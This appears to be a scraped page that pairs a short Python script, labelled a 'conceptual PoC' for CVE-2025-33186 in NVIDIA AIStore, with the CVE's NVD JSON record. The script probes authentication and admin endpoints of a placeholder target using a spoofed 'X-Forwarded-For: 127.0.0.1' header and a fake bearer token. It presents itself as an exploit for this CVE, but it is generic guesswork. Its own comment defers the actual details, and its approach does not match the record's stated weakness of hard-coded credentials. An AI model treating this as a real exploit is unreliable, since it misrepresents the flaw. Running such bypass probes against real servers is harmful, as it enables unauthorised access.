CVE-2025-33186

# CVE-2025-33186 PoC - NVIDIA AIStore AuthN Vulnerability # Note: This is a conceptual PoC for educational purposes only import requests import sys TARGET_HOST = "http://target-aistore-server" CVE_ID = "CVE-2025-33186" def check_vulnerability(): """ Check if target is vulnerable to CVE-2025-33186 This vulnerability allows privilege escalation through AuthN bypass """ print(f"[*] Checking vulnerability: {CVE_ID}") print(f"[*] Target: {TARGET_HOST}") # Attempt to exploit AuthN vulnerability # Specific exploitation details depend on actual vulnerability analysis endpoints = [ "/api/v1/auth/login", "/api/v1/auth/token", "/api/v1/users", "/api/v1/admin" ] for endpoint in endpoints: try: url = f"{TARGET_HOST}{endpoint}" # Send crafted request to exploit AuthN vulnerability headers = { "User-Agent": "CVE-2025-33186-PoC", "X-Forwarded-For": "127.0.0.1", "Authorization": "Bearer manipulated_token" } response = requests.get(url, headers=headers, timeout=10) print(f"[+] Endpoint {endpoint}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") if __name__ == "__main__": check_vulnerability()

{"cve": {"id": "CVE-2025-33186", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:50.687", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA AIStore contains a vulnerability in AuthN. A successful exploit of this vulnerability might lead to escalation of privileges, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33186", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5724", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33186", "source": "[email protected]"}]}}